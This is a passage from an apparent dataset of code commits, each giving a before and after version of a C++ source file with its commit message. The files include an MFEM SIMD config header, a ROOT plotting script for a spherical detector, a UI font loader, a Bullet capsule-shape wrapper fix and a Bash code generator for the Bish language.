simd?(MFEM_SIMD_SIZE\/sizeof(complex_t)):1;\n\n   static const int valign_size = simd?simd_size:1;\n\n   typedef AutoSIMD<complex_t,simd_size,valign_size> vcomplex_t;\n   typedef AutoSIMD<   real_t,simd_size,valign_size> vreal_t;\n#ifndef MFEM_USE_SIMD\n   typedef AutoSIMD<      int,simd_size,valign_size> vint_t;\n#endif \/\/ MFEM_USE_SIMD\n};\n\n#define MFEM_TEMPLATE_ENABLE_SERIALIZE\n\n\/\/ #define MFEM_TEMPLATE_ELTRANS_HAS_NODE_DOFS\n\/\/ #define MFEM_TEMPLATE_ELTRANS_RESULT_HAS_NODES\n\/\/ #define MFEM_TEMPLATE_FIELD_EVAL_DATA_HAS_DOFS\n#define MFEM_TEMPLATE_INTRULE_COEFF_PRECOMP\n\n\/\/ derived macros\n#define MFEM_ROUNDUP(val,base) ((((val)+(base)-1)\/(base))*(base))\n#define MFEM_ALIGN_SIZE(size,type) \\\n   MFEM_ROUNDUP(size,(MFEM_SIMD_SIZE)\/sizeof(type))\n\n#ifdef MFEM_COUNT_FLOPS\nnamespace mfem\n{\nnamespace internal\n{\nextern long long flop_count;\n}\n}\n#define MFEM_FLOPS_RESET() (mfem::internal::flop_count = 0)\n#define MFEM_FLOPS_ADD(cnt) (mfem::internal::flop_count += (cnt))\n#define MFEM_FLOPS_GET() (mfem::internal::flop_count)\n#else\n#define MFEM_FLOPS_RESET()\n#define MFEM_FLOPS_ADD(cnt)\n#define MFEM_FLOPS_GET() (0)\n#endif\n\n#endif \/\/ MFEM_TEMPLATE_CONFIG\n<commit_msg>VSX tconfig logic<commit_after>\/\/ Copyright (c) 2010, Lawrence Livermore National Security, LLC. Produced at\n\/\/ the Lawrence Livermore National Laboratory. LLNL-CODE-443211. All Rights\n\/\/ reserved. See file COPYRIGHT for details.\n\/\/\n\/\/ This file is part of the MFEM library. For more information and source code\n\/\/ availability see http:\/\/mfem.org.\n\/\/\n\/\/ MFEM is free software; you can redistribute it and\/or modify it under the\n\/\/ terms of the GNU Lesser General Public License (as published by the Free\n\/\/ Software Foundation) version 2.1 dated February 1999.\n\n#ifndef MFEM_TEMPLATE_CONFIG\n#define MFEM_TEMPLATE_CONFIG\n\n\/\/ the main MFEM config header\n#include \"config.hpp\"\n\n\/\/ --- MFEM_STATIC_ASSERT\n#if (__cplusplus >= 201103L)\n#define MFEM_STATIC_ASSERT(cond, msg) static_assert((cond), msg)\n#else\n#define MFEM_STATIC_ASSERT(cond, msg) if (cond) { }\n#endif\n\n\/\/ --- MFEM_ALWAYS_INLINE\n#if !defined(MFEM_DEBUG) && (defined(__GNUC__) || defined(__clang__))\n#define MFEM_ALWAYS_INLINE __attribute__((always_inline))\n#else\n#define MFEM_ALWAYS_INLINE\n#endif\n\n\/\/ --- MFEM_VECTORIZE_LOOP (disabled)\n#if (__cplusplus >= 201103L) && !defined(MFEM_DEBUG) && defined(__GNUC__)\n\/\/#define MFEM_VECTORIZE_LOOP _Pragma(\"GCC ivdep\")\n#define MFEM_VECTORIZE_LOOP\n#else\n#define MFEM_VECTORIZE_LOOP\n#endif\n\n\/\/ --- MFEM_ALIGN_AS\n#if (__cplusplus >= 201103L)\n#define MFEM_ALIGN_AS(bytes) alignas(bytes)\n#elif !defined(MFEM_DEBUG) && (defined(__GNUC__) || defined(__clang__))\n#define MFEM_ALIGN_AS(bytes) __attribute__ ((aligned (bytes)))\n#else\n#define MFEM_ALIGN_AS(bytes)\n#endif\n\n\/\/ --- POSIX MEMALIGN\n#ifdef _WIN32\n#define MFEM_POSIX_MEMALIGN(p,a,s) (((*(p))=_aligned_malloc((s),(a))),*(p)?0:errno)\n#define MFEM_POSIX_MEMALIGN_FREE _aligned_free\n#else\n#define MFEM_POSIX_MEMALIGN posix_memalign\n#define MFEM_POSIX_MEMALIGN_FREE free\n#endif\n\n\/\/ --- AutoSIMD or intrinsics\n#ifndef MFEM_USE_SIMD\n#include \"simd\/auto.hpp\"\n#else\n#if defined(__VSX__)\n#include \"simd\/vsx.hpp\"\n#elif defined (__bgq__)\n#include \"simd\/qpx.hpp\"\n#elif defined(__x86_64__)\n#include \"simd\/x86.hpp\"\n#else\n#error Unknown SIMD architecture\n#endif\n#endif\n\n\/\/ --- SIMD and BLOCK sizes\n#if defined(_WIN32)\n#define MFEM_SIMD_SIZE 8\n#define MFEM_TEMPLATE_BLOCK_SIZE 1\n#elif defined(__VSX__)\n#define MFEM_SIMD_SIZE 16\n#define MFEM_TEMPLATE_BLOCK_SIZE 2\n#elif defined(__x86_64__)\n#define MFEM_SIMD_SIZE 32\n#define MFEM_TEMPLATE_BLOCK_SIZE 4\n#else\n#error Unknown SIMD architecture\n#endif\n\ntemplate<typename complex_t, typename real_t, bool simd>\nstruct AutoImplTraits\n{\n   static const int block_size = MFEM_TEMPLATE_BLOCK_SIZE;\n\n   static const int align_size = MFEM_SIMD_SIZE; \/\/ in bytes\n\n   static const int batch_size = 1;\n\n   static const int simd_size = simd?(MFEM_SIMD_SIZE\/sizeof(complex_t)):1;\n\n   static const int valign_size = simd?simd_size:1;\n\n   typedef AutoSIMD<complex_t,simd_size,valign_size> vcomplex_t;\n   typedef AutoSIMD<   real_t,simd_size,valign_size> vreal_t;\n#ifndef MFEM_USE_SIMD\n   typedef AutoSIMD<      int,simd_size,valign_size> vint_t;\n#endif \/\/ MFEM_USE_SIMD\n};\n\n#define MFEM_TEMPLATE_ENABLE_SERIALIZE\n\n\/\/ #define MFEM_TEMPLATE_ELTRANS_HAS_NODE_DOFS\n\/\/ #define MFEM_TEMPLATE_ELTRANS_RESULT_HAS_NODES\n\/\/ #define MFEM_TEMPLATE_FIELD_EVAL_DATA_HAS_DOFS\n#define MFEM_TEMPLATE_INTRULE_COEFF_PRECOMP\n\n\/\/ derived macros\n#define MFEM_ROUNDUP(val,base) ((((val)+(base)-1)\/(base))*(base))\n#define MFEM_ALIGN_SIZE(size,type) \\\n   MFEM_ROUNDUP(size,(MFEM_SIMD_SIZE)\/sizeof(type))\n\n#ifdef MFEM_COUNT_FLOPS\nnamespace mfem\n{\nnamespace internal\n{\nextern long long flop_count;\n}\n}\n#define MFEM_FLOPS_RESET() (mfem::internal::flop_count = 0)\n#define MFEM_FLOPS_ADD(cnt) (mfem::internal::flop_count += (cnt))\n#define MFEM_FLOPS_GET() (mfem::internal::flop_count)\n#else\n#define MFEM_FLOPS_RESET()\n#define MFEM_FLOPS_ADD(cnt)\n#define MFEM_FLOPS_GET() (0)\n#endif\n\n#endif \/\/ MFEM_TEMPLATE_CONFIG\n<|endoftext|>"}
{"text":"<commit_before>using namespace GeFiCa;\n\/\/Compare numerical result to analytic calculation for 1D spherical detector\nvoid compare2analytic()\n{\n   \/\/ configure detector\n   Sphere1D *num=new Sphere1D;\n   num->InnerR=0.3*cm;\n   num->OuterR=1*cm;\n   num->SetAverageImpurity(3e9\/cm3);\n   num->V0=900*volt;\n   num->V1=0*volt;\n   num->Dump();\n   cout<<\"press any key to continue\"<<endl; cin.get();\n\n   \/\/ make a copy of the detector configuration\n   Sphere1D *ana = (Sphere1D*) num->Clone(\"ana\");\n\n   \/\/ calculate potential using SOR method\n   num->CalculatePotential(kSOR2);\n\n   \/\/ fill grid with analytic result\n   ana->CalculatePotential(kAnalytic);\n\n   \/\/ prepare drawing style\n   gROOT->SetStyle(\"Plain\"); \/\/ pick up a good drawing style to modify\n   gStyle->SetLegendBorderSize(0);\n   gStyle->SetLegendFont(132);\n   gStyle->SetLabelFont(132,\"XY\");\n   gStyle->SetTitleFont(132,\"XY\");\n   gStyle->SetLabelSize(0.05,\"XY\");\n   gStyle->SetTitleSize(0.05,\"XY\");\n   gStyle->SetPadRightMargin(0.01);\n   gStyle->SetPadLeftMargin(0.12);\n   gStyle->SetPadTopMargin(0.02);\n\n   \/\/ generate graphics\n   TTree *tn = num->GetTree();\n   tn->Draw(\"v:c1\");\n   TGraph *gn = new TGraph(tn->GetSelectedRows(), tn->GetV2(), tn->GetV1());\n\n   TTree *ta = ana->GetTree();\n   ta->Draw(\"v:c1\");\n   TGraph *ga = new TGraph(ta->GetSelectedRows(), ta->GetV2(), ta->GetV1());\n\n   \/\/ compare numerical result to analytic calculation\n   gn->SetMarkerColor(kBlue);\n   gn->SetMarkerStyle(kCircle);\n   gn->SetMarkerSize(0.8);\n   gn->SetTitle(\";Radius [cm];Potential [V]\");\n   gn->GetXaxis()->SetRangeUser(0,3);\n   gn->GetYaxis()->SetRangeUser(0,900);\n   gn->Draw(\"ap\");\n\n   ga->SetLineColor(kRed);\n   ga->Draw(\"l\");\n\n   TLegend *l = new TLegend(0.6,0.6,0.8,0.8);\n   l->AddEntry(ga,\"Analytic\",\"l\");\n   l->AddEntry(gn,\"SOR2\",\"p\");\n   l->Draw();\n\n   gPad->Print(\"s1d.png\");\n}\n<commit_msg>improved title of x-axis<commit_after>using namespace GeFiCa;\n\/\/Compare numerical result to analytic calculation for 1D spherical detector\nvoid compare2analytic()\n{\n   \/\/ configure detector\n   Sphere1D *num=new Sphere1D;\n   num->InnerR=0.3*cm;\n   num->OuterR=1*cm;\n   num->SetAverageImpurity(3e9\/cm3);\n   num->V0=900*volt;\n   num->V1=0*volt;\n   num->Dump();\n   cout<<\"press any key to continue\"<<endl; cin.get();\n\n   \/\/ make a copy of the detector configuration\n   Sphere1D *ana = (Sphere1D*) num->Clone(\"ana\");\n\n   \/\/ calculate potential using SOR method\n   num->CalculatePotential(kSOR2);\n\n   \/\/ fill grid with analytic result\n   ana->CalculatePotential(kAnalytic);\n\n   \/\/ generate graphics\n   gStyle->SetPadRightMargin(0.01);\n   TTree *tn = num->GetTree();\n   tn->Draw(\"v:c1\",\"\",\"goff\");\n   TGraph *gn = new TGraph(tn->GetSelectedRows(), tn->GetV2(), tn->GetV1());\n   TTree *ta = ana->GetTree();\n   ta->Draw(\"v:c1\",\"\",\"goff\");\n   TGraph *ga = new TGraph(ta->GetSelectedRows(), ta->GetV2(), ta->GetV1());\n\n   \/\/ compare numerical result to analytic calculation\n   gn->SetMarkerColor(kBlue);\n   gn->SetMarkerStyle(kCircle);\n   gn->SetMarkerSize(0.8);\n   gn->SetTitle(\";Radial position [cm];Potential [V]\");\n   gn->GetXaxis()->SetRangeUser(0,1);\n   gn->GetYaxis()->SetRangeUser(0,900);\n   gn->Draw(\"ap\");\n\n   ga->SetLineColor(kRed);\n   ga->Draw(\"l\");\n\n   TLegend *l = new TLegend(0.6,0.6,0.8,0.8);\n   l->AddEntry(ga,\"Analytic\",\"l\");\n   l->AddEntry(gn,\"SOR\",\"p\");\n   l->Draw();\n\n   gPad->Print(\"s1d.png\");\n}\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include <fmt\/format.h>\n#include <plog\/Log.h>\n\n#include \"util\/typedefs.hpp\"\n#include \"filesystem.hpp\"\n\n#include \"core\/ui\/canvas.hpp\"\n\nnamespace top1::ui::drawing {\n\n  const uint WIDTH = 320;\n  const uint HEIGHT = 240;\n\n  namespace Colours {\n\n    const Colour Black     = Colour(0x000000);\n\n    const MainColour White = {0xFFFFFF, 0x646464};\n    const MainColour Red   = {0xFF2A2A, 0x6E0C0C};\n    const MainColour Green = {0x5ECF3E, 0x0C6E0C};\n    const MainColour Blue  = {0x0A7CFF, 0x0C0C6E};\n\n    const Colour Gray60    = 0x999999;\n    const Colour Gray70    = 0xB2B2B2;\n\n  } \/\/ Colours\n\n  namespace Fonts {\n    inline Font Light;\n    inline Font Norm;\n    inline Font Bold;\n\n    inline fs::path font_dir {\"data\/fonts\"};\n  }\n\n  inline void initUtils(Canvas &canvas) {\n    Fonts::Light = Font(canvas, \"TOP-1 Light\", Fonts::font_dir \/ \"TOP-1\" \/ \"TOP-1.ttf\");\n    if (!Fonts::Light.valid()) {\n      LOGE << \"Invalid font: \" << Fonts::Light.name;\n    }\n    Fonts::Norm = Font(canvas, \"TOP-1 Regular\", Fonts::font_dir \/ \"TOP-1\" \/ \"TOP-1.ttf\");\n    if (!Fonts::Norm.valid()) {\n      LOGE << \"Invalid font: \" << Fonts::Norm.name;\n    }\n    Fonts::Bold = Font(canvas, \"TOP-1 Bold\", Fonts::font_dir \/ \"TOP-1\" \/ \"TOP-1.ttf\");\n    if (!Fonts::Bold.valid()) {\n      LOGE << \"Invalid font: \" << Fonts::Bold.name;\n    }\n  }\n\n} \/\/ ui::drawing\n<commit_msg>Register the new fonts<commit_after>#pragma once\n\n#include <fmt\/format.h>\n#include <plog\/Log.h>\n\n#include \"util\/typedefs.hpp\"\n#include \"filesystem.hpp\"\n\n#include \"core\/ui\/canvas.hpp\"\n\nnamespace top1::ui::drawing {\n\n  const uint WIDTH = 320;\n  const uint HEIGHT = 240;\n\n  namespace Colours {\n\n    const Colour Black     = Colour(0x000000);\n\n    const MainColour White = {0xFFFFFF, 0x646464};\n    const MainColour Red   = {0xFF2A2A, 0x6E0C0C};\n    const MainColour Green = {0x5ECF3E, 0x0C6E0C};\n    const MainColour Blue  = {0x0A7CFF, 0x0C0C6E};\n\n    const Colour Gray60    = 0x999999;\n    const Colour Gray70    = 0xB2B2B2;\n\n  } \/\/ Colours\n\n  namespace Fonts {\n    inline Font Light;\n    inline Font Norm;\n    inline Font Bold;\n    inline Font SemiBold;\n    inline Font Mono;\n\n    inline fs::path font_dir {\"data\/fonts\"};\n    inline void loadFont(Canvas& ctx, Font& font, const std::string& name)\n    {\n      auto path = Fonts::font_dir \/ (name + \".ttf\");\n      font = Font(ctx, name, path);\n      if (!Fonts::Light.valid()) {\n        LOGE << \"Invalid font: \" << Fonts::Light.name << \"\";\n        if (!fs::exists(path)) {\n          LOGE << \"Font file not found: \" << path.c_str();\n        }\n      }\n    }\n  }\n\n  inline void initUtils(Canvas& ctx) {\n    Fonts::loadFont(ctx, Fonts::Light, \"TOP-1-Light\");\n    Fonts::loadFont(ctx, Fonts::Norm, \"TOP-1-Regular\");\n    Fonts::loadFont(ctx, Fonts::Bold, \"TOP-1-Bold\");\n    Fonts::loadFont(ctx, Fonts::SemiBold, \"TOP-1-SemiBold\");\n    Fonts::loadFont(ctx, Fonts::Mono, \"TOP-1-Mono-Regular\");\n  }\n\n} \/\/ ui::drawing\n<|endoftext|>"}
{"text":"<commit_before>#include \"StdAfx.h\"\r\n\r\n#include \"CapsuleShape.h\"\r\n\r\nCapsuleShape::CapsuleShape(btCapsuleShape* shape)\r\n: ConvexInternalShape(shape)\r\n{\r\n}\r\n\r\nCapsuleShape::CapsuleShape(btScalar radius, btScalar height)\r\n: ConvexInternalShape(new btCapsuleShape(radius, height))\r\n{\r\n}\r\n\r\nbtScalar CapsuleShape::HalfHeight::get()\r\n{\r\n\treturn UnmanagedPointer->getHalfHeight();\r\n}\r\n\r\nbtScalar CapsuleShape::Radius::get()\r\n{\r\n\treturn UnmanagedPointer->getRadius();\r\n}\r\n\r\nint CapsuleShape::UpAxis::get()\r\n{\r\n\treturn UnmanagedPointer->getUpAxis();\r\n}\r\n\r\nbtCapsuleShape* CapsuleShape::UnmanagedPointer::get()\r\n{\r\n\treturn (btCapsuleShape*)ConvexInternalShape::UnmanagedPointer;\r\n}\r\n\r\n\r\nCapsuleShapeX::CapsuleShapeX(btScalar radius, btScalar height)\r\n: CapsuleShape(new btCapsuleShapeX(radius, height))\r\n{\r\n}\r\n\r\nCapsuleShapeZ::CapsuleShapeZ(btScalar radius, btScalar height)\r\n: CapsuleShape(new btCapsuleShapeX(radius, height))\r\n{\r\n}\r\n<commit_msg>- Fix issue 9.<commit_after>#include \"StdAfx.h\"\r\n\r\n#include \"CapsuleShape.h\"\r\n\r\nCapsuleShape::CapsuleShape(btCapsuleShape* shape)\r\n: ConvexInternalShape(shape)\r\n{\r\n}\r\n\r\nCapsuleShape::CapsuleShape(btScalar radius, btScalar height)\r\n: ConvexInternalShape(new btCapsuleShape(radius, height))\r\n{\r\n}\r\n\r\nbtScalar CapsuleShape::HalfHeight::get()\r\n{\r\n\treturn UnmanagedPointer->getHalfHeight();\r\n}\r\n\r\nbtScalar CapsuleShape::Radius::get()\r\n{\r\n\treturn UnmanagedPointer->getRadius();\r\n}\r\n\r\nint CapsuleShape::UpAxis::get()\r\n{\r\n\treturn UnmanagedPointer->getUpAxis();\r\n}\r\n\r\nbtCapsuleShape* CapsuleShape::UnmanagedPointer::get()\r\n{\r\n\treturn (btCapsuleShape*)ConvexInternalShape::UnmanagedPointer;\r\n}\r\n\r\n\r\nCapsuleShapeX::CapsuleShapeX(btScalar radius, btScalar height)\r\n: CapsuleShape(new btCapsuleShapeX(radius, height))\r\n{\r\n}\r\n\r\nCapsuleShapeZ::CapsuleShapeZ(btScalar radius, btScalar height)\r\n: CapsuleShape(new btCapsuleShapeZ(radius, height))\r\n{\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>#include <cassert>\n#include \"CodeGen_Bash.h\"\n\nusing namespace Bish;\n\nvoid CodeGen_Bash::indent() {\n    for (unsigned i = 0; i < indent_level; i++) {\n        stream << \"    \";\n    }\n}\n\nvoid CodeGen_Bash::visit(const Module *n) {\n    for (std::vector<Function *>::const_iterator I = n->functions.begin(),\n             E = n->functions.end(); I != E; ++I) {\n        (*I)->accept(this);\n    }\n    \/\/ Insert a call to bish_main().\n    assert(n->main);\n    FunctionCall *call_main = new FunctionCall(n->main->name);\n    visit(call_main);\n    stream << \";\\n\";\n    delete call_main;\n}\n\nvoid CodeGen_Bash::visit(const Block *n) {\n    if (should_print_block_braces()) stream << \"{\\n\";\n    indent_level++;\n    for (std::vector<IRNode *>::const_iterator I = n->nodes.begin(), E = n->nodes.end();\n         I != E; ++I) {\n        indent();\n        (*I)->accept(this);\n        stream << \";\\n\";\n    }\n    indent_level--;\n    if (should_print_block_braces()) stream << \"}\\n\\n\";\n}\n\nvoid CodeGen_Bash::visit(const Variable *n) {\n    if (should_quote_variable()) stream << \"\\\"\";\n    stream << \"$\" << lookup_name(n);\n    if (should_quote_variable()) stream << \"\\\"\";\n}\n\nvoid CodeGen_Bash::visit(const ReturnStatement *n) {\n    stream << \"echo \";\n    enable_functioncall_wrap();\n    n->value->accept(this);\n    disable_functioncall_wrap();\n    stream << \"; exit\";\n}\n\nvoid CodeGen_Bash::visit(const IfStatement *n) {\n    stream << \"if [[ \";\n    enable_functioncall_wrap();\n    n->pblock->condition->accept(this);\n    disable_functioncall_wrap();\n    stream << \" ]]; then\\n\";\n    disable_block_braces();\n    n->pblock->body->accept(this);\n\n    for (std::vector<PredicatedBlock *>::const_iterator I = n->elses.begin(),\n             E = n->elses.end(); I != E; ++I) {\n        indent();\n        stream << \"elif [[ \";\n        enable_functioncall_wrap();\n        (*I)->condition->accept(this);\n        disable_functioncall_wrap();\n        stream << \" ]]; then\\n\";\n        (*I)->body->accept(this);\n    }\n    if (n->elseblock) {\n        indent();\n        stream << \"else\\n\";\n        n->elseblock->accept(this);\n    }\n    \n    enable_block_braces();\n    indent();\n    stream << \"fi\";\n}\n\nvoid CodeGen_Bash::visit(const ForLoop *n) {\n    stream << \"for \" << lookup_name(n->variable) << \" in \";\n    if (n->upper) {\n        stream << \"$(seq \";\n        n->lower->accept(this);\n        stream << \" \";\n        n->upper->accept(this);\n        stream << \")\";\n    } else {\n        n->lower->accept(this);\n    }\n    stream << \"; do\\n\";\n    disable_block_braces();\n    n->body->accept(this);\n    enable_block_braces();\n    indent();\n    stream << \"done\";\n}\n\nvoid CodeGen_Bash::visit(const Function *n) {\n    stream << \"function bish_\" << n->name << \" \";\n    stream << \"() \";\n    LetScope *s = new LetScope();\n    push_let_scope(s);\n    \/\/ Bash doesn't allow named arguments to functions.\n    \/\/ We have to translate to positional arguments.\n    unsigned i = 1;\n    for (std::vector<Variable *>::const_iterator I = n->args.begin(), E = n->args.end(); I != E; ++I, ++i) {\n      s->add(*I, convert_string(i));\n    }\n    n->body->accept(this);\n    pop_let_scope();\n}\n\nvoid CodeGen_Bash::visit(const FunctionCall *n) {\n    const int nargs = n->args.size();\n    if (should_functioncall_wrap()) stream << \"$(\";\n    stream << \"bish_\" << n->name;\n    for (int i = 0; i < nargs; i++) {\n        stream << \" \";\n        bool old = enable_functioncall_wrap();\n        if (const FunctionCall *FC = dynamic_cast<const FunctionCall*>(n->args[i])) {\n          if (should_quote_variable()) stream << \"\\\"\";\n          n->args[i]->accept(this);\n          if (should_quote_variable()) stream << \"\\\"\";\n        } else {\n          n->args[i]->accept(this);\n        }\n        set_functioncall_wrap(old);\n    }\n    if (should_functioncall_wrap()) stream << \")\";\n}\n\nvoid CodeGen_Bash::visit(const ExternCall *n) {\n    if (should_functioncall_wrap()) stream << \"$(\";\n    for (InterpolatedString::const_iterator I = n->body->begin(), E = n->body->end();\n         I != E; ++I) {\n        if ((*I).is_str()) {\n            stream << (*I).str();\n        } else {\n            assert((*I).is_var());\n            visit((*I).var());\n        }\n    }\n    if (should_functioncall_wrap()) stream << \")\";\n}\n\nvoid CodeGen_Bash::visit(const Assignment *n) {\n    stream << lookup_name(n->variable) << \"=\";\n    enable_functioncall_wrap();\n    n->value->accept(this);\n    disable_functioncall_wrap();\n}\n\nvoid CodeGen_Bash::visit(const BinOp *n) {\n    bool comparison = false;\n    switch (n->op) {\n    case BinOp::Eq:\n    case BinOp::NotEq:\n    case BinOp::LT:\n    case BinOp::LTE:\n    case BinOp::GT:\n    case BinOp::GTE:\n        comparison = true;\n        break;\n    case BinOp::Add:\n    case BinOp::Sub:\n    case BinOp::Mul:\n    case BinOp::Div:\n        comparison = false;\n        break;\n    }\n        \n    if (!comparison) stream << \"$((\";\n    disable_quote_variable();\n    n->a->accept(this);\n    switch (n->op) {\n    case BinOp::Eq:\n        stream << \" -eq \";\n        break;\n    case BinOp::NotEq:\n        stream << \" -ne \";\n        break;\n    case BinOp::LT:\n        stream << \" -lt \";\n        break;\n    case BinOp::LTE:\n        stream << \" -lte \";\n        break;\n    case BinOp::GT:\n        stream << \" -gt \";\n        break;\n    case BinOp::GTE:\n        stream << \" -gte \";\n        break;\n    case BinOp::Add:\n        stream << \" + \";\n        break;\n    case BinOp::Sub:\n        stream << \" - \";\n        break;\n    case BinOp::Mul:\n        stream << \" * \";\n        break;\n    case BinOp::Div:\n        stream << \" \/ \";\n        break;\n    }\n    n->b->accept(this);\n    if (!comparison) stream << \"))\";\n    enable_quote_variable();\n}\n\nvoid CodeGen_Bash::visit(const UnaryOp *n) {\n    switch (n->op) {\n    case UnaryOp::Negate:\n        stream << \"-\";\n        break;\n    }\n    n->a->accept(this);\n}\n\nvoid CodeGen_Bash::visit(const Integer *n) {\n    stream << n->value;\n}\n\nvoid CodeGen_Bash::visit(const Fractional *n) {\n    stream << n->value;\n}\n\nvoid CodeGen_Bash::visit(const String *n) {\n    stream << \"\\\"\" << n->value << \"\\\"\";\n}\n\nvoid CodeGen_Bash::visit(const Boolean *n) {\n    stream << n->value;\n}\n<commit_msg>Disable variable quoting in a few places.<commit_after>#include <cassert>\n#include \"CodeGen_Bash.h\"\n\nusing namespace Bish;\n\nvoid CodeGen_Bash::indent() {\n    for (unsigned i = 0; i < indent_level; i++) {\n        stream << \"    \";\n    }\n}\n\nvoid CodeGen_Bash::visit(const Module *n) {\n    for (std::vector<Function *>::const_iterator I = n->functions.begin(),\n             E = n->functions.end(); I != E; ++I) {\n        (*I)->accept(this);\n    }\n    \/\/ Insert a call to bish_main().\n    assert(n->main);\n    FunctionCall *call_main = new FunctionCall(n->main->name);\n    visit(call_main);\n    stream << \";\\n\";\n    delete call_main;\n}\n\nvoid CodeGen_Bash::visit(const Block *n) {\n    if (should_print_block_braces()) stream << \"{\\n\";\n    indent_level++;\n    for (std::vector<IRNode *>::const_iterator I = n->nodes.begin(), E = n->nodes.end();\n         I != E; ++I) {\n        indent();\n        (*I)->accept(this);\n        stream << \";\\n\";\n    }\n    indent_level--;\n    if (should_print_block_braces()) stream << \"}\\n\\n\";\n}\n\nvoid CodeGen_Bash::visit(const Variable *n) {\n    if (should_quote_variable()) stream << \"\\\"\";\n    stream << \"$\" << lookup_name(n);\n    if (should_quote_variable()) stream << \"\\\"\";\n}\n\nvoid CodeGen_Bash::visit(const ReturnStatement *n) {\n    stream << \"echo \";\n    enable_functioncall_wrap();\n    n->value->accept(this);\n    disable_functioncall_wrap();\n    stream << \"; exit\";\n}\n\nvoid CodeGen_Bash::visit(const IfStatement *n) {\n    stream << \"if [[ \";\n    enable_functioncall_wrap();\n    n->pblock->condition->accept(this);\n    disable_functioncall_wrap();\n    stream << \" ]]; then\\n\";\n    disable_block_braces();\n    n->pblock->body->accept(this);\n\n    for (std::vector<PredicatedBlock *>::const_iterator I = n->elses.begin(),\n             E = n->elses.end(); I != E; ++I) {\n        indent();\n        stream << \"elif [[ \";\n        enable_functioncall_wrap();\n        (*I)->condition->accept(this);\n        disable_functioncall_wrap();\n        stream << \" ]]; then\\n\";\n        (*I)->body->accept(this);\n    }\n    if (n->elseblock) {\n        indent();\n        stream << \"else\\n\";\n        n->elseblock->accept(this);\n    }\n    \n    enable_block_braces();\n    indent();\n    stream << \"fi\";\n}\n\nvoid CodeGen_Bash::visit(const ForLoop *n) {\n    stream << \"for \" << lookup_name(n->variable) << \" in \";\n    if (n->upper) {\n        stream << \"$(seq \";\n        n->lower->accept(this);\n        stream << \" \";\n        n->upper->accept(this);\n        stream << \")\";\n    } else {\n        disable_quote_variable();\n        n->lower->accept(this);\n        enable_quote_variable();\n    }\n    stream << \"; do\\n\";\n    disable_block_braces();\n    n->body->accept(this);\n    enable_block_braces();\n    indent();\n    stream << \"done\";\n}\n\nvoid CodeGen_Bash::visit(const Function *n) {\n    stream << \"function bish_\" << n->name << \" \";\n    stream << \"() \";\n    LetScope *s = new LetScope();\n    push_let_scope(s);\n    \/\/ Bash doesn't allow named arguments to functions.\n    \/\/ We have to translate to positional arguments.\n    unsigned i = 1;\n    for (std::vector<Variable *>::const_iterator I = n->args.begin(), E = n->args.end(); I != E; ++I, ++i) {\n      s->add(*I, convert_string(i));\n    }\n    n->body->accept(this);\n    pop_let_scope();\n}\n\nvoid CodeGen_Bash::visit(const FunctionCall *n) {\n    const int nargs = n->args.size();\n    if (should_functioncall_wrap()) stream << \"$(\";\n    stream << \"bish_\" << n->name;\n    for (int i = 0; i < nargs; i++) {\n        stream << \" \";\n        bool old = enable_functioncall_wrap();\n        if (const FunctionCall *FC = dynamic_cast<const FunctionCall*>(n->args[i])) {\n          if (should_quote_variable()) stream << \"\\\"\";\n          n->args[i]->accept(this);\n          if (should_quote_variable()) stream << \"\\\"\";\n        } else {\n          n->args[i]->accept(this);\n        }\n        set_functioncall_wrap(old);\n    }\n    if (should_functioncall_wrap()) stream << \")\";\n}\n\nvoid CodeGen_Bash::visit(const ExternCall *n) {\n    if (should_functioncall_wrap()) stream << \"$(\";\n    disable_quote_variable();\n    for (InterpolatedString::const_iterator I = n->body->begin(), E = n->body->end();\n         I != E; ++I) {\n        if ((*I).is_str()) {\n            stream << (*I).str();\n        } else {\n            assert((*I).is_var());\n            visit((*I).var());\n        }\n    }\n    enable_quote_variable();\n    if (should_functioncall_wrap()) stream << \")\";\n}\n\nvoid CodeGen_Bash::visit(const Assignment *n) {\n    stream << lookup_name(n->variable) << \"=\";\n    enable_functioncall_wrap();\n    n->value->accept(this);\n    disable_functioncall_wrap();\n}\n\nvoid CodeGen_Bash::visit(const BinOp *n) {\n    bool comparison = false;\n    switch (n->op) {\n    case BinOp::Eq:\n    case BinOp::NotEq:\n    case BinOp::LT:\n    case BinOp::LTE:\n    case BinOp::GT:\n    case BinOp::GTE:\n        comparison = true;\n        break;\n    case BinOp::Add:\n    case BinOp::Sub:\n    case BinOp::Mul:\n    case BinOp::Div:\n        comparison = false;\n        break;\n    }\n        \n    if (!comparison) stream << \"$((\";\n    disable_quote_variable();\n    n->a->accept(this);\n    switch (n->op) {\n    case BinOp::Eq:\n        stream << \" -eq \";\n        break;\n    case BinOp::NotEq:\n        stream << \" -ne \";\n        break;\n    case BinOp::LT:\n        stream << \" -lt \";\n        break;\n    case BinOp::LTE:\n        stream << \" -lte \";\n        break;\n    case BinOp::GT:\n        stream << \" -gt \";\n        break;\n    case BinOp::GTE:\n        stream << \" -gte \";\n        break;\n    case BinOp::Add:\n        stream << \" + \";\n        break;\n    case BinOp::Sub:\n        stream << \" - \";\n        break;\n    case BinOp::Mul:\n        stream << \" * \";\n        break;\n    case BinOp::Div:\n        stream << \" \/ \";\n        break;\n    }\n    n->b->accept(this);\n    if (!comparison) stream << \"))\";\n    enable_quote_variable();\n}\n\nvoid CodeGen_Bash::visit(const UnaryOp *n) {\n    switch (n->op) {\n    case UnaryOp::Negate:\n        stream << \"-\";\n        break;\n    }\n    n->a->accept(this);\n}\n\nvoid CodeGen_Bash::visit(const Integer *n) {\n    stream << n->value;\n}\n\nvoid CodeGen_Bash::visit(const Fractional *n) {\n    stream << n->value;\n}\n\nvoid CodeGen_Bash::visit(const String *n) {\n    stream << \"\\\"\" << n->value << \"\\\"\";\n}\n\nvoid CodeGen_Bash::visit(const Boolean *n) {\n    stream << n->value;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements.  See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership.  The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License.  You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"ColumnPrinter.hh\"\n#include 